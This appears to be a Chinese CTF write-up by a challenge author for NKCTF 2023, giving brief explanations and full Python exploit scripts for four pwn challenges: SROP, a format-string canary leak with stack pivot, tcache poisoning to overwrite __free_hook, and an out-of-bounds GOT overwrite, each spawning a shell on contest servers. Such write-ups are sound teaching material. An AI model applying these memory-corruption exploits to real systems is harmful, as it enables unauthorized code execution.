2023 NKCTF Write Up

这里先给一下官方wp的链接:NKCTF2023 官方WP (qq.com)

笔者这里就只记录了我出的题,想要其他wp请点击上方链接。

PWN By Comentropy

ez_stack

这里留了gadget,如果发现不了可以ROPgadget直接扫,发现为srop,然后就正常srop流程即可。

image-20230406190056716

exp如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from ckyan.pwn.my_script import *
# from ckyan.pwn.my_libcsearch import *

local = 0
debug = 1

binary = "./ez_stack"
elf = ELF(binary)

if local:
    p = process(binary)
    lib = "/lib/x86_64-linux-gnu/libc.so.6"
else:
    ip = "node.yuzhian.com.cn"
    port = "38250"
    p = remote(ip, port)
    lib = ""

init(lib, binary, p)
context = init_context(debug)

if lib != "":
    libc = ELF(lib)

if debug and local:
    ggdb()

name = lambda obj : [name for name in globals() if globals()[name] is obj][0]
lg   = lambda buf : lg_update(name(buf), buf)

mov_rax_0xf_ret = 0x401146
syscall_ret = 0x40114e

bss_addr = 0x404088

sigreturn = p64(mov_rax_0xf_ret) + p64(syscall_ret)

# execve("/bin/sh",0,0) rax = 0x3b
frame = SigreturnFrame()
frame.rax = constants.SYS_execve # 0x3b
frame.rdi = bss_addr  # "/bin/sh\x00"
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_ret
stack_frame = b'/bin/sh\x00' + sigreturn + bytes(frame)

# read(0, "frame1", len(frame1)) rax = 0
frame = SigreturnFrame()
frame.rax = constants.SYS_read # 0x0
frame.rdi = 0
frame.rsi = bss_addr # "/bin/sh\x00"
frame.rdx = len(stack_frame)
frame.rsp = bss_addr + 0x8 # control stack_top
frame.rip = syscall_ret
read_frame = sigreturn + bytes(frame)

padding = b'a' * (0x10 + 8)

pad1 = padding + read_frame

ru(b'world of NKCTF!')
s(pad1)

s(stack_frame)

sh()

baby_rop

题目开了canary,所以首先格式化字符串泄露,在my_read里有null byte off by one,可以溢出修改rbp的最后一个字节为0,在main函数里我加了leave,所以会自动栈迁移到rbp的那个地方,因为迁移地址随机,所以可以在栈中写ret,以满足rop链可以正常执行。

image-20230406190119672

exp如下:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from ckyan.pwn.my_script import *
# from ckyan.pwn.my_libcsearch import *

local = 0
debug = 1

binary = "./nkctf_message_boards"
elf = ELF(binary)

def pwn():
    if local:
        p = process(binary)
        lib = "/lib/x86_64-linux-gnu/libc.so.6"
    else:
        ip = "node.yuzhian.com.cn"
        port = "38680"
        p = remote(ip, port)
        lib = "./libc-2.31.so"

    init(lib, binary, p)
    context = init_context(debug)

    if lib != "":
        libc = ELF(lib)

    if debug and local:
        ggdb()

    name   = lambda obj        : [name for name in globals() if globals()[name] is obj][0]
    lg     = lambda buf        : lg_update(name(buf), buf)

    try:
        ru(b'name: ')
        sl(b"%41$p")

        ru(b'0x')
        canary = int(r(8 * 2), 16)
        # lg(canary)

        # raw_input()

        ret = 0x40101a
        pop_rdi_ret = 0x401413
        main = 0x40138C
        vuln = 0x4012B1

        pad1 = b''
        pad1 += p64(ret)*25
        pad1 += p64(pop_rdi_ret)
        pad1 += p64(elf.got['puts'])
        pad1 += p64(elf.plt['puts'])
        pad1 += p64(main)

        pad1 = pad1.ljust(0x100-8, b'\x00')
        pad1 += p64(canary)

        ru(b'the NKCTF: \n')
        sl(pad1)

        libc_base = r7f() - libc.sym['puts']
        # libc = lg(libc_base)
        libc.address = libc_base

        pad2 = b''
        pad2 += p64(ret) * 24
        pad2 += p64(pop_rdi_ret)
        pad2 += p64(next(libc.search(b'/bin/sh\x00')))
        pad2 += p64(libc.sym['system'])
        # pad2 += p64(main)

        pad2 = pad2.ljust(0x100-8, b'\x00')
        pad2 += p64(canary)

        # raw_input()

        ru(b'the NKCTF: \n')
        s(pad2)

        ru(b'suggestions carefully.\n')
        sl("ls")

        info_str = r(0x100)
        if b'flag' in info_str or b'bin' in info_str or b'pwn' in info_str:
            print(info_str)
            sh()
        else:
            raise EOFError

    except BrokenPipeError as e:
        p.close()
        raise e

    except EOFError as e:
        p.close()
        raise e
    except struct.error as e:
        p.close()
        raise e

while True:
    try:
        pwn()
        break
    except EOFError:
        continue
    except BrokenPipeError:
        continue
    except struct.error:
        continue

baby_heap

简单的off by one构造uaf泄露libc基地址,然后打__free_hook即可。exp如下:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from ckyan.pwn.my_script import *
# from ckyan.pwn.my_libcsearch import *

local = 0
debug = 1

binary = "./pwn"
elf = ELF(binary)

if local:
    p = process(binary)
    lib = "/lib/x86_64-linux-gnu/libc.so.6"
else:
    ip = "node.yuzhian.com.cn"
    port = "33266"
    p = remote(ip, port)
    lib = "./libc-2.32.so"

init(lib, binary, p)
context = init_context(debug)

if lib != "":
    libc = ELF(lib)

if debug and local:
    ggdb()

name = lambda obj : [name for name in globals() if globals()[name] is obj][0]
lg   = lambda buf : lg_update(name(buf), buf)

def cmd(c):
    ru(b'Your choice: ')
    sl(str(c))

def add(idx, size):
    cmd(1)
    ru(b'Enter the index: ')
    sl(str(idx))
    ru(b'Enter the Size: ')
    sl(str(size))

def free(idx):
    cmd(2)
    ru(b'Enter the index: ')
    sl(str(idx))

def edit(idx, content):
    cmd(3)
    ru(b'Enter the index: ')
    sl(str(idx))
    ru(b'Enter the content: ')
    s(content)

def show(idx):
    cmd(4)
    ru(b'Enter the index: ')
    sl(str(idx))


add(0, 0x18)
add(1, 0x10)
add(2, 0x20)
add(3, 0x20)
add(4, 0x18)
add(5, 0x80)

pad1 = b''
pad1 += p64(0) * 3 + p8(0x81)
edit(0, pad1)

free(1)

add(1, 0x70)

show(1)

key = u64(r(5) + b'\x00'*3)
lg(key)

free(3)
free(2)
# 2 -> 3

pad2 = b''
pad2 += b'a' * (4 * 8 - 1) + b'\n'
edit(1, pad2)

show(1)
ru(b'a' * (4 * 8 - 1) + b'\n')
heap_base = (uu64(r(6))^key) - 0x310
lg(heap_base)

small_bin_addr = heap_base + 0x350 + 0x10

pad3 = b''
pad3 += p64(0) * 3 + p64(0x31)
pad3 += p64(small_bin_addr^key)
pad3 += b'\n'
edit(1, pad3)

add(2, 0x20)
add(3, 0x20)

pad4 = b''
pad4 += p64(0) * 3 + p8(0x91)
edit(4, pad4)

for i in range(6, 13):
    add(i, 0x80)

add(13, 0x10)

for i in range(6, 13):
    free(i)

free(5)

edit(3, b"\n")

show(3)

malloc_hook = r7f() - 0xa - 96 - 0x10
lg(malloc_hook)

libc_base = malloc_hook - libc.sym['__malloc_hook']
libc = lg(libc_base)

edit(3, p64(malloc_hook+0x10+96)*2 + b'\n')

add(6, 0x20)

free(6)
free(2)
# 2 -> 6

pad5 = b''
pad5 += p64(0) * 3 + p64(0x31)
pad5 += p64(libc.sym['__free_hook']^key)
pad5 += b'\n'
edit(1, pad5)

add(2, 0x20)
add(6, 0x20)

one_gadgets = [0xdf54c, 0xdf54f, 0xdf552]

pad6 = b''
pad6 += p64(one_gadgets[1] + libc.address)*2
pad6 += p64(0)*2 + b'\x00'

edit(6, pad6)

free(0)

sh()

note

这个漏洞比较明显,存在数组越界和堆溢出,libc会将小的堆放在bss段,与程序的整体偏移是一致的,然后利用程序存在的指针泄露地址,之后数组越界打got表即可。exp如下:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from ckyan.pwn.my_script import *
# from ckyan.pwn.my_libcsearch import *

local = 0
debug = 1

binary = "./nk_note"
elf = ELF(binary)

if local:
    p = process(binary)
    lib = "./libc.so"
else:
    ip = "node.yuzhian.com.cn"
    port = "31901"
    p = remote(ip, port)
    lib = "./libc.so"

init(lib, binary, p)
context = init_context(debug)

if lib != "":
    libc = ELF(lib)

if debug and local:
    ggdb()

name = lambda obj : [name for name in globals() if globals()[name] is obj][0]
lg   = lambda buf : lg_update(name(buf), buf)

def cmd(c):
    ru(b'your choice: ')
    sl(str(c))

def add(idx, size, content):
    cmd(1)
    ru(b'Index: ')
    sl(str(idx))
    ru(b'Size: ')
    sl(str(size))
    ru(b'Content: ')
    s(content)

def edit(idx, content):
    cmd(2)
    ru(b'Index: ')
    sl(str(idx))
    ru(b'Size: ')
    sl(str(len(content)))
    ru(b'Content: ')
    s(content)

def free(idx):
    cmd(3)
    ru(b'Index: ')
    sl(str(idx))

def show(idx):
    cmd(4)
    ru(b'Index: ')
    sl(str(idx))

show(16)
heap_leak = uu64(r(6))
heap_base = heap_leak - 584
lg(heap_leak)
lg(heap_base)

# raw_input()

edit(16, b'a'*0x10)
show(16)
ru(b'a'*0x10)
pie_leak = uu64(r(6))
pie_base = pie_leak - 16672
lg(pie_leak)
lg(pie_base)

note_addr = pie_base + 0x40A0

edit(16, p64(heap_leak)+p64(heap_base + 224))

pad1 = p64(note_addr)
add(0, 0x28, pad1)

pad2 = b''
pad2 += p64(note_addr)
pad2 += p64(pie_base + elf.got['puts'])
edit(1394, pad2)

# raw_input()

show(1)
puts_addr = r7f()
libc_base = puts_addr - libc.sym['puts']
lg(puts_addr)
libc = lg(libc_base)

add(3, 0x10, b'/bin/sh\x00')
edit(1, p64(libc.sym['system']))

show(3)

sh()
updatedupdated2023-04-182023-04-18
加载评论